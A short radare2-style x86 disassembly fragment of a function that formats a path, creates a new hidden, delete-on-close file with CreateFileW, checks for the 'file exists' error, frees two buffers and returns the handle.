call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
push 0
push 0x4000002
push 1
push 0
push 3
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x408f62
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x408f62
mov ecx, dword [ebp + 0xc]
mov dword [ecx], 1
push esi
call fcn.0040c676
pop ecx
push edi
call fcn.0040c676
pop ecx
pop esi
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret